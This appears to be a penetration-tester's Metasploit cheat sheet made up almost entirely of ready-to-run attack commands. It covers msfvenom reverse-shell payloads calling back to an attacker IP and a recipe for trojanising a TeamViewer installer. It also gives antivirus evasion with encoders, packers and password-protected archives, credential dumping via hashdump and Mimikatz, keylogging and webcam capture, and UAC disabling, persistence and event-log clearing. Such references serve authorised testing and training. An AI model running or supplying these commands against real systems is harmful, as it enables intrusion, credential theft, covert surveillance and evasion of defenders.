Metasploit

Auxiliary Modules

Port Scan

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
run

DNS Enumeration

use auxiliary/gather/dns_enum
set DOMAIN target.tgt
run

Host FTP Server

use auxiliary/server/ftp
set FTPROOT /tmp/ftproot
run

Proxy Server

Any proxied traffic matching the subnet of a route will be routed through the specified session. Use proxychains configured for socks4 to route application traffic through a Meterpreter session.

route add 10.10.120.0/24 4
use auxiliary/server/socks_proxy
set Version 4a
set SRVPORT 9050
run

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msfvenom

List Payloads

msfvenom -l payloads
msfvenom -l encoders
msfvenom -l formats
msfvenom --help-formats

Format Options

Format	Description
exe	Windows executable
elf	Linux executable
aspx	ASP.NET web payload
jsp	Java Server Pages
war	Java web archive
php	PHP script
py	Python script
pl	Perl script
rb	Ruby script
raw	Raw shellcode
c	C code
ps1	PowerShell script
dll	Windows DLL
msi	Windows installer

Common Payload Generation

# Windows Meterpreter reverse TCP (exe)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o met.exe

# Windows x64 Meterpreter reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o met64.exe

# ASPX Meterpreter reverse TCP (for IIS)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx -o shell.aspx

# Linux Meterpreter reverse TCP
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php

# Java WAR reverse TCP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

# Python reverse TCP
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw

Encoding Payloads

# Single encoding pass
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -f exe -o mal.exe

# Multiple iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o payload.exe

# Bad character removal
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl

Backdoored Executables

Inject payload into a legitimate executable template. The -k flag runs the original program in a separate thread so it appears to function normally.

msfvenom -p windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5

Multi/Handler

Set up a listener to catch reverse connections from msfvenom payloads:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run

Run as a background job:

exploit -j

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Meterpreter

Meterpreter uses DLL injection to reside entirely in memory. It leaves no traces on disk, uses AES-encrypted communication (MSF6+), and can migrate between processes.

How It Works

1. Target executes the initial stager (bind, reverse, etc.)

2. Stager loads a Reflective DLL

3. Meterpreter core initializes, establishes an AES-encrypted link

4. Extensions stdapi and priv (if admin) are loaded over AES

Core Commands

Command	Description
background / bg	Background the current session
exit / quit	Terminate the Meterpreter session
guid	Get the session GUID
help	Display the help menu
info	Display information about a Post module
irb	Open an interactive Ruby shell on the session
load	Load one or more Meterpreter extensions
migrate	Migrate the server to another process
run	Execute a Meterpreter script or Post module
sessions	Quickly switch to another session
sleep	Force Meterpreter to go quiet, then re-establish
transport	Change the current transport mechanism
uuid	Get the UUID for the current session

File System Commands

Command	Description
cd	Change directory
ls / dir	List files in current directory
pwd / getwd	Print working directory
cat	Read the contents of a file
edit	Edit a file (vim)
rm	Delete the specified file
mv	Move source to destination
cp	Copy source to destination
mkdir	Make directory
rmdir	Remove directory
upload	Upload a file or directory
download	Download a file or directory
search	Search for files
checksum	Retrieve the checksum of a file
show_mount	List all mount points/logical drives
lcd	Change local working directory
lpwd / getlwd	Print local working directory
lls	List local files

Networking Commands

Command	Description
arp	Display the host ARP cache
ifconfig / ipconfig	Display network interfaces
netstat	Display the network connections
portfwd	Forward a local port to a remote service
route	View and modify the routing table
resolve	Resolve hostnames on the target
getproxy	Display the current proxy configuration

System Commands

Command	Description
clearev	Clear the event log
execute	Execute a command
getpid	Get the current process identifier
getuid	Get the user the server is running as
getsid	Get the SID of the running user
getprivs	Attempt to enable all privileges for the current process
getenv	Get environment variable values
kill	Terminate a process
pkill	Terminate processes by name
pgrep	Filter processes by name
ps	List running processes
shell	Drop into a system command shell
sysinfo	Get information about the remote system
reboot	Reboot the remote computer
shutdown	Shut down the remote computer
reg	Modify and interact with the remote registry
steal_token	Steal an impersonation token from a process
drop_token	Relinquish any active impersonation token
rev2self	Calls RevertToSelf() on the remote machine
localtime	Display the target system's local date and time
suspend	Suspend or resume a list of processes

User Interface Commands

Command	Description
enumdesktops	List all accessible desktops and window stations
screenshot	Grab a screenshot of the interactive desktop
screenshare	Watch the remote user's desktop in real-time
keyscan_start	Start capturing keystrokes
keyscan_dump	Dump the keystroke buffer
keyscan_stop	Stop capturing keystrokes
keyboard_send	Send keystrokes
idletime	Returns seconds the remote user has been idle
record_mic	Record audio from the default microphone for X seconds
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam

Privilege Commands

Command	Description
getsystem	Attempt to elevate privilege to local system
hashdump	Dump the contents of the SAM database
timestomp	Manipulate file MACE attributes

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New Meterpreter Session Steps

After gaining access, insert AV path exception, write implant to disk and execute to catch callback:

getuid
getpid
getprivs
ps                      # find an svchost.exe in same user context
migrate <svchost_pid>
getpid                  # confirm new pid
ps                      # verify correct process
del /path/to/implant    # remove artifact from disk

Now running as a thread in the address space of the svchost.exe process.

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Process Migration and Token Stealing

meterpreter > ps
meterpreter > migrate <PID>
meterpreter > steal_token <PID>
meterpreter > getuid

Use steal_token when you need to impersonate another user's security context without fully migrating into their process.

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Credential Harvesting

Hashdump

run post/windows/gather/hashdump
hashdump

Output format: Username:SID:LM hash:NTLM hash:::

LM hash aad3b435b51404eeaad3b435b51404ee = empty password. NTLM hash 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password.

If hashdump prints hashes and then errors with a Ruby stack trace around priv/passwd.rb / report_creds, the collection may have succeeded but failed while storing creds in the Metasploit database. Copy the printed hashes and rerun with a post module or dump SAM/SYSTEM/SECURITY manually if needed.

Credential Collector

run post/windows/gather/credentials/credential_collector

Kiwi (Mimikatz)

load kiwi
help kiwi

Command	Description
creds_all	Retrieve all credentials (parsed)
creds_kerberos	Retrieve Kerberos creds (parsed)
creds_msv	Retrieve LM/NTLM creds (parsed)
creds_ssp	Retrieve SSP creds
creds_tspkg	Retrieve TsPkg creds (parsed)
creds_wdigest	Retrieve WDigest creds (parsed)
dcsync	Retrieve user account information via DCSync
dcsync_ntlm	Retrieve user NTLM hash, SID and RID via DCSync
golden_ticket_create	Create a golden kerberos ticket
kerberos_ticket_list	List all kerberos tickets
kerberos_ticket_purge	Purge any in-use kerberos tickets
kerberos_ticket_use	Use a kerberos ticket
kiwi_cmd	Execute an arbitrary mimikatz command
lsa_dump_sam	Dump LSA SAM
lsa_dump_secrets	Dump LSA secrets
password_change	Change the password/hash of a user
wifi_list	List wifi profiles/creds for the current user
wifi_list_shared	List shared wifi profiles/creds (requires SYSTEM)

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Local Exploit Suggester

Background your current session, then:

use post/multi/recon/local_exploit_suggester
set SESSION <id>
set SHOWDESCRIPTION true
run

Use the suggested exploit:

use exploit/windows/local/<suggested_exploit>
set SESSION <id>
set LHOST tun0
set LPORT <new_port>
run

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Execute a Program

Flag	Description
-H	Create the process hidden from view
-a	Arguments to pass to the command
-i	Interact with the process after creating it
-m	Execute from memory
-t	Execute with currently impersonated thread token
-s	Execute process in a given session as the session user

meterpreter > enumdesktops
meterpreter > execute -s 1 -f calc.exe

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Powershell from Meterpreter

Powershell Extension

load powershell
powershell_shell

One-shot Commands

execute -if powershell.exe -a "dir"
execute -if powershell.exe -a "net group"
execute -if powershell.exe -a 'net user /domain'

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Incognito (Token Impersonation)

load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"

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Upgrade Shell to Meterpreter

use multi/manage/shell_to_meterpreter
set SESSION <id>
set LHOST <ip>
set LPORT <port>
run

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Post-Exploitation Modules

Windows Survey Modules

run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
run post/windows/gather/checkvm
run post/windows/gather/credentials/credential_collector    # requires SYSTEM
run post/windows/manage/migrate
run post/windows/gather/dumplinks                           # migrate to user process first
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/hashdump                            # requires SYSTEM
run post/windows/gather/usb_history
use post/multi/recon/local_exploit_suggester
use post/multi/gather/firefox_creds

Winenum

Built-in enumeration using net, netsh, and wmic commands:

meterpreter > run winenum

Output stored per-command in the path shown in the output.

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Routing and Pivoting

Set Route

route add <subnet/host> <subnetmask> <session_id>

Autoroute Module

use multi/manage/autoroute
run autoroute -s 10.100.11.0/24

Port Forwarding

portfwd add -l <LOCAL_PORT> -p <REMOTE_PORT> -r <REMOTE_HOST>

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UAC Escalation

use exploit/windows/local/bypassuac_windows_store_reg
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 8080
set SESSION 2
run

Change UAC to Not Notify

Requires admin:

Get-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
# Look for: ConsentPromptBehaviorAdmin, ConsentPromptBehaviorUser
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Disable LUA (UAC)

Get-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
# Look for: EnableLUA 1
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA -Value 0
# Requires restart — ensure persistence is set up first

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Persistence Modules

Registry Run Key

use exploit/windows/local/registry_persistence

Set RUN_NAME at minimum.

WMI Event Subscription

use exploit/windows/local/wmi_persistence

Requires failed login auditing enabled:

auditpol.exe /set /subcategory:Logon /failure:Enable

Event ID for failed logon: 4625. Set USERNAME_TRIGGER and SESSION at minimum. Cannot be run as SYSTEM or USER — needs ADMINISTRATOR.

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Clearing the Event Log

meterpreter > clearev

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Firewall and IDS/IPS Evasion

Endpoint vs Perimeter Protection

Type	Description
Endpoint	Software on the host (AV, anti-malware, host firewall, anti-DDoS)
Perimeter	Physical/virtual devices at the network edge (IDS/IPS, network firewalls, WAF)

Detection Methods

Method	Description
Signature-based	Compares packets/files against known attack pattern signatures
Heuristic / Statistical Anomaly	Behavioral comparison against established baselines
Stateful Protocol Analysis	Recognizes divergence from accepted protocol definitions
Live SOC Monitoring	Analysts using live-feed software to monitor and alert

Evasion Techniques

MSF6 AES Encryption: All Meterpreter communications are AES-encrypted, handling network-based IDS/IPS.

Backdoored Executables: Inject payload into legitimate executables using the -x template flag and -k to keep original execution:

msfvenom -p windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads/TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o ~/Desktop/TeamViewer_Setup.exe -i 5

Password-Protected Archives: Archive the payload with a password and strip the file extension. This bypasses many signature-based AV scans (flagged as unable to scan, not as malicious).

rar a ~/test.rar -p ~/payload.js
mv test.rar test
rar a test2.rar -p test
mv test2.rar test2

Packers: Executable compression that packs payload + decompression code into one file. The payload decompresses transparently at runtime.

Packer	Notes
UPX	Open source, widely used
The Enigma Protector	Commercial
MPRESS	Lightweight
Themida	Advanced anti-debugging
MEW	Minimal
ExeStealth	Stealth-oriented

MSF6 Changes (Evasion Improvements)

• End-to-end AES encryption for all five Meterpreter implementations (Windows, Python, Java, Mettle, PHP)

• SMBv3 client support with encryption

• Polymorphic payload generation for Windows shellcode (instructions shuffled each generation)

• DLLs resolve functions by ordinal instead of name

• ReflectiveLoader export no longer present as text data in payload binaries

• Meterpreter commands encoded as integers instead of strings

• Kiwi replaced old Mimikatz extension